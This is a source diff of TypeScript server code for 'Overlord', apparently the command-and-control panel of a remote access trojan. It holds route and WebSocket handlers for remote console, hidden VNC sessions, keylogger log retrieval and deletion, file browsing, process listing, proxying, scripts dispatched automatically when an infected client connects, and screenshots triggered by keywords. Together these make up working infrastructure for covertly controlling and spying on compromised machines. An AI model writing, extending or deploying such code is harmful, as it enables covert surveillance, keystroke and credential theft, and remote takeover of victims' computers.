let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginFrameMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
const file = Bun.file(htmlFile);
if (!(await file.exists())) {
return new Response("Not found", { status: 404 });
}
const raw = await file.text();
const baseTag = `<base href="/plugins/${pluginId}/assets/" />`;
const bridgeTag = `<script src="/assets/plugin-bridge.js"></script>`;
let injected = raw;
const headMatch = raw.match(/<head[^>]*>/i);
if (headMatch) {
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
}
if (injected.includes("</head>")) {
injected = injected.replace("</head>", ` ${bridgeTag}\n </head>`);
} else if (injected.includes("</body>")) {
injected = injected.replace("</body>", ` ${bridgeTag}\n</body>`);
} else {
injected = `${bridgeTag}\n${injected}`;
}
return new Response(injected, {
headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" },
});
}
const pluginPageMatch = url.pathname.match(/^\/plugins\/([^/]+)$/);
if (req.method === "GET" && pluginPageMatch) {
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginPageMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
const clientId = url.searchParams.get("clientId") || "";
const bridgeToken = uuidv4();
const origin = url.origin;
const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`;
const html = `<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>${pluginId} - Overlord Plugin</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
rel="stylesheet"
/>
<link rel="stylesheet" href="/assets/tailwind.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
crossorigin="anonymous"
referrerpolicy="no-referrer"
/>
<link rel="stylesheet" href="/assets/main.css" />
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6">
<div class="max-w-6xl mx-auto">
<div class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden">
<iframe
id="plugin-frame"
src="${iframeSrc}"
sandbox="allow-scripts"
class="w-full h-[calc(100vh-220px)] bg-slate-950"
></iframe>
</div>
</div>
</main>
<div
id="plugin-host"
data-bridge-token="${bridgeToken}"
></div>
<script type="module" src="/assets/nav.js"></script>
<script src="/assets/plugin-host.js"></script>
</body>
</html>`;
return new Response(html, { headers: deps.secureHeaders("text/html; charset=utf-8") });
}
const pluginAssetMatch = url.pathname.match(/^\/plugins\/([^/]+)\/assets\/(.+)$/);
if (req.method === "GET" && pluginAssetMatch) {
const [, pluginId, assetPath] = pluginAssetMatch;
let decodedPath = assetPath;
try {
decodedPath = decodeURIComponent(assetPath);
} catch {
return new Response("Bad request", { status: 400 });
}
if (decodedPath.includes("\u0000") || path.isAbsolute(decodedPath)) {
return new Response("Not found", { status: 404 });
}
const assetsRoot = path.join(deps.PLUGIN_ROOT, pluginId, "assets");
const normalized = decodedPath.replace(/\\/g, "/");
const resolvedPath = path.resolve(assetsRoot, normalized);
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
if (!resolvedPath.startsWith(rootWithSep)) {
return new Response("Not found", { status: 404 });
}
const file = Bun.file(resolvedPath);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(assetPath)) });
}
return new Response("Not found", { status: 404 });
}
return null;
}
@@ -0,0 +1,207 @@
import { generateToken, authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { requirePermission } from "../../rbac";
import {
createUser,
deleteUser,
getUserById,
listUsers,
updateUserPassword,
updateUserRole,
} from "../../users";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
export async function handleUsersRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/users")) {
return null;
}
try {
const user = await authenticateRequest(req);
if (req.method === "GET" && url.pathname === "/api/users") {
requirePermission(user, "users:manage");
const users = listUsers();
return Response.json({ users });
}
if (req.method === "POST" && url.pathname === "/api/users") {
const authedUser = requirePermission(user, "users:manage");
const body = await req.json();
const { username, password, role } = body;
if (!username || !password || !role) {
return Response.json({ error: "Missing required fields" }, { status: 400 });
}
if (!["admin", "operator", "viewer"].includes(role)) {
return Response.json({ error: "Invalid role" }, { status: 400 });
}
const result = await createUser(username, password, role, authedUser.username);
if (result.success) {
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `Created user: ${username} (${role})`,
success: true,
});
return Response.json({ success: true, userId: result.userId });
}
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/password$/)) {
const userId = parseInt(url.pathname.split("/")[3]);
const body = await req.json();
const { password, newPassword, currentPassword } = body;
const canChange = user.userId === userId || user.role === "admin";
if (!canChange) {
return Response.json({ error: "Permission denied" }, { status: 403 });
}
if (user.userId === userId && currentPassword) {
const targetUser = getUserById(userId);
if (!targetUser) {
return Response.json({ error: "User not found" }, { status: 404 });
}
const isValid = await Bun.password.verify(
currentPassword,
targetUser.password_hash,
);
if (!isValid) {
return Response.json(
{ error: "Current password is incorrect" },
{ status: 400 },
);
}
}
const finalPassword = newPassword || password;
if (!finalPassword) {
return Response.json({ error: "Password required" }, { status: 400 });
}
const result = await updateUserPassword(userId, finalPassword);
if (result.success) {
const targetUser = getUserById(userId);
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Updated password for user: ${targetUser?.username}`,
success: true,
});
if (user.userId === userId && targetUser) {
const newToken = await generateToken(targetUser);
return new Response(
JSON.stringify({
success: true,
token: newToken,
}),
{
headers: {
"Content-Type": "application/json",
"Set-Cookie": `overlord_token=${newToken}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
},
},
);
}
return Response.json({ success: true });
}
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/role$/)) {
const authedUser = requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
const body = await req.json();
const { role } = body;
if (!role || !["admin", "operator", "viewer"].includes(role)) {
return Response.json({ error: "Invalid role" }, { status: 400 });
}
if (userId === authedUser.userId) {
return Response.json({ error: "Cannot change your own role" }, { status: 400 });
}
const result = updateUserRole(userId, role);
if (result.success) {
const targetUser = getUserById(userId);
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `Updated role for user: ${targetUser?.username} to ${role}`,
success: true,
});
return Response.json({ success: true });
}
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "DELETE" && url.pathname.match(/^\/api\/users\/\d+$/)) {
const authedUser = requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
if (userId === authedUser.userId) {
return Response.json(
{ error: "Cannot delete your own account" },
{ status: 400 },
);
}
const targetUser = getUserById(userId);
const result = deleteUser(userId);
if (result.success) {
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `Deleted user: ${targetUser?.username}`,
success: true,
});
return Response.json({ success: true });
}
return Response.json({ error: result.error }, { status: 400 });
}
return new Response("Not found", { status: 404 });
} catch (error) {
if (error instanceof Response) {
return error;
}
logger.error("[users] API error:", error);
return Response.json({ error: "Internal server error" }, { status: 500 });
}
}
@@ -0,0 +1,385 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { clientExists, setOnlineState, upsertClientRow } from "../../db";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
import * as sessionManager from "../../sessions/sessionManager";
import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
type PendingScript = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
};
type WsLifecycleDeps = {
maxClientPayloadBytes: number;
maxViewerPayloadBytes: number;
pendingScripts: Map<string, PendingScript>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
pending: any,
bytes: Uint8Array,
format: string,
width?: number,
height?: number,
) => void;
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
handleConsoleOutput: (payload: any) => void;
handleFileBrowserMessage: (clientId: string, payload: any) => void;
handleProxyMessage: (clientId: string, payload: any) => void;
handleProcessMessage: (clientId: string, payload: any) => void;
handleKeyloggerMessage: (clientId: string, payload: any) => void;
notifyRdInputLatency: (commandId: string) => void;
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
notifyConsoleClosed: (clientId: string, reason: string) => void;
clearPendingNotificationScreenshots: (clientId: string) => void;
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
};
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
const role = ws.data.role as string;
const clientId = ws.data.clientId;
const ip = ws.data.ip;
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
const id = clientId || uuidv4();
const info: ClientInfo = { id, role: role as any, ws, lastSeen: Date.now(), country: "", ip, online: true };
clientManager.addClient(id, info);
ws.data.clientId = id;
ws.data.ip = ip;
if (role === "client") {
ws.data.wasKnown = clientExists(id);
}
upsertClientRow({ id, role: role as any, ip, lastSeen: info.lastSeen, online: 1 as any });
logger.info(`[open] ${id} role=${role}`);
const notificationConfig = deps.getNotificationConfig();
ws.send(
encodeMessage({
type: "hello_ack",
id,
notification: {
keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000,
},
}),
);
if (role === "client") {
deps.notifyRemoteDesktopStatus(id, "online");
metrics.recordConnection();
}
}
export function handleWebSocketMessage(
ws: ServerWebSocket<SocketData>,
message: string | ArrayBuffer | Uint8Array,
deps: WsLifecycleDeps,
): void {
const size = getMessageByteLength(message as any);
const role = ws.data?.role as any;
const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
if (size > limit) {
logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`);
try {
ws.close(1009, "Message too large");
} catch {}
return;
}
const socketRole = ws.data.role as string;
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
const { clientId, ip } = ws.data;
const info = clientManager.getClient(clientId);
if (!info) return;
info.lastSeen = Date.now();
try {
const payload = decodeMessage(message as Uint8Array) as WireMessage;
if (!payload || typeof (payload as any).type !== "string") {
return;
}
if (!isAllowedClientMessageType((payload as any).type)) {
logger.warn(`[message] Dropping unknown client message type: ${(payload as any).type}`);
return;
}
const payloadType = (payload as any)?.type as string;
switch (payloadType) {
case "hello": {
handleHello(info, payload, ws, ip);
clientManager.addClient(info.id, info);
deps.dispatchAutoScriptsForConnection(info, ws);
if (info.role === "client") {
const wasKnown = Boolean((ws as any)?.data?.wasKnown);
logAudit({
timestamp: Date.now(),
username: "system",
ip: (ws as any)?.data?.ip || ip || "unknown",
action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT,
targetClientId: info.id,
success: true,
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
});
(ws as any).data.wasKnown = true;
}
break;
}
case "ping":
handlePing(info, payload, ws);
break;
case "pong":
handlePong(info, payload);
break;
case "frame":
if ((payload as any)?.header?.fps === 0) {
const pending = deps.takePendingNotificationScreenshot(info.id);
if (pending) {
let bytes: Uint8Array | null = null;
if ((payload as any).data instanceof Uint8Array) {
bytes = (payload as any).data;
} else if ((payload as any).data instanceof ArrayBuffer) {
bytes = new Uint8Array((payload as any).data);
} else if (ArrayBuffer.isView((payload as any).data)) {
bytes = new Uint8Array((payload as any).data.buffer);
}
const format = String((payload as any)?.header?.format || "jpeg");
const width = Number((payload as any)?.header?.width) || undefined;
const height = Number((payload as any)?.header?.height) || undefined;
if (bytes) {
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
}
}
}
handleFrame(info, payload);
break;
case "screenshot_result":
deps.handleNotificationScreenshotResult(info.id, payload);
break;
case "console_output":
deps.handleConsoleOutput(payload);
break;
case "file_list_result":
case "file_download":
case "file_upload_result":
case "file_read_result":
case "file_search_result":
case "command_result":
if (typeof (payload as any).commandId === "string") {
deps.notifyRdInputLatency((payload as any).commandId);
}
deps.handleNotificationScreenshotFailure(
(payload as any).commandId,
(payload as any).ok,
(payload as any).message,
);
deps.handleFileBrowserMessage(info.id, payload);
deps.handleProxyMessage(info.id, payload);
break;
case "command_progress":
deps.handleFileBrowserMessage(info.id, payload);
break;
case "process_list_result":
deps.handleProcessMessage(info.id, payload);
break;
case "keylog_file_list":
case "keylog_file_content":
case "keylog_clear_result":
case "keylog_delete_result":
deps.handleKeyloggerMessage(info.id, payload);
break;
case "script_result": {
logger.debug(
`[script] client=${info.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
);
const cmdId = (payload as any).commandId;
if (cmdId && deps.pendingScripts.has(cmdId)) {
const pending = deps.pendingScripts.get(cmdId)!;
clearTimeout(pending.timeout);
pending.resolve({
ok: (payload as any).ok,
result: (payload as any).output || "",
error: (payload as any).error,
});
deps.pendingScripts.delete(cmdId);
}
break;
}
case "plugin_event":
deps.handlePluginEvent(info.id, payload);
break;
case "notification":
deps.handleNotification(info.id, payload);
break;
default:
break;
}
} catch (err) {
logger.error("[message] decode error", err);
}
}
export function handleWebSocketClose(
ws: ServerWebSocket<SocketData>,
code: number,
reason: unknown,
deps: WsLifecycleDeps,
): void {
const clientId = ws.data.clientId;
const role = ws.data.role as string;
const sessionId = ws.data.sessionId;
if (role === "console_viewer") {
if (sessionId) {
sessionManager.deleteConsoleSession(sessionId);
const target = clientManager.getClient(clientId);
deps.stopConsoleOnTarget(target, sessionId);
}
return;
}
if (role === "rd_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.getAllRdSessions().delete(sid);
break;
}
}
const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
deps.sendDesktopCommand(target, "desktop_stop", {});
deps.rdStreamingState.delete(removedClientId);
logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "hvnc_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.getAllHvncSessions().delete(sid);
break;
}
}
const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
if (target) {
deps.sendHVNCCommand(target, "hvnc_stop", {});
}
deps.hvncStreamingState.delete(removedClientId);
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "file_browser_viewer") {
if (sessionId) {
sessionManager.getAllFileBrowserSessions().delete(sessionId);
}
return;
}
if (role === "process_viewer") {
if (sessionId) {
sessionManager.getAllProcessSessions().delete(sessionId);
}
return;
}
if (role === "keylogger_viewer") {
if (sessionId) {
sessionManager.deleteKeyloggerSession(sessionId);
}
return;
}
if (role === "proxy_viewer") {
if (sessionId) {
sessionManager.deleteProxySession(sessionId);
}
return;
}
if (role === "notifications_viewer") {
if (sessionId) {
sessionManager.deleteNotificationSession(sessionId);
}
return;
}
clientManager.deleteClient(clientId);
deps.notifyConsoleClosed(clientId, "Client disconnected");
setOnlineState(clientId, false);
deps.clearPendingNotificationScreenshots(clientId);
logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
if (role === "client") {
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
metrics.recordDisconnection();
logAudit({
timestamp: Date.now(),
username: "system",
ip: ws.data?.ip || "unknown",
action: AuditAction.CLIENT_DISCONNECT,
targetClientId: clientId,
success: true,
details: JSON.stringify({ code, reason: String(reason || "") }),
});
}
}
@@ -0,0 +1,179 @@
import { authenticateRequest } from "../../auth";
import { logger } from "../../logger";
import { isIpBanned } from "../../db";
type RequestServer = {
requestIP: (req: Request) => { address?: string } | null | undefined;
upgrade: (req: Request, data: any) => boolean;
};
type WsUpgradeDeps = {
isAuthorizedAgentRequest: (req: Request, url: URL) => boolean;
};
export async function handleWsUpgradeRoutes(
req: Request,
url: URL,
server: RequestServer,
deps: WsUpgradeDeps,
): Promise<Response | null> {
const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/);
if (consoleWsMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = consoleWsMatch[1];
const sessionId = crypto.randomUUID();
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
if (wsMatch) {
logger.info(`[auth] Checking agent authorization for client connection`);
if (!deps.isAuthorizedAgentRequest(req, url)) {
return new Response("Unauthorized", { status: 401 });
}
const clientId = wsMatch[1];
const role = (url.searchParams.get("role") as any) || "viewer";
const ip = server.requestIP(req)?.address || "";
if (ip && isIpBanned(ip)) {
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
return new Response("Forbidden", { status: 403 });
}
if (server.upgrade(req, { data: { role, clientId, ip } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/);
if (rdMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = rdMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/);
if (hvncMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = hvncMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
if (fbMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = fbMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/);
if (processMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = processMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/);
if (keyloggerMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = keyloggerMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/);
if (proxyMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = proxyMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
return null;
}